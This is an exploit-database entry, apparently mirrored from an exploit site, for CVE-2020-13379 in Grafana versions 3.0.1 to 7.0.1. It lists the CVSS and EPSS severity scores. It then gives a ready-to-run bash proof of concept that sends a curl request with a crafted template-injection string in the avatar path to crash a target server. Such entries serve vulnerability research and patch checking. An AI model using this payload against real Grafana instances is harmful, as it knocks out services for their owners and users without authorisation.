Grafana 7.0.1 - Denial of Service Exploit

2020-07-0700:00:00

mostwanted002

0day.today

348

8.2 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H

6.4 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:N/A:P

0.728 High

EPSS

Percentile

98.1%

JSON

# Exploit Title: Grafana 7.0.1 - Denial of Service (PoC)
# Exploit Author: mostwanted002
# Vendor Homepage: https://grafana.com/
# Software Link: https://grafana.com/grafana/download
# Version: 3.0.1 - 7.0.1
# Tested on: Linux
# CVE : CVE-2020-13379

#!/bin/bash

if [[ $1 != "" ]]; then
    curl -I "${1}/avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D"
else
    echo "Usage: grafana-dos.sh <TARGET>.   Example: grafana-dos.sh http://localhost:3000"
fi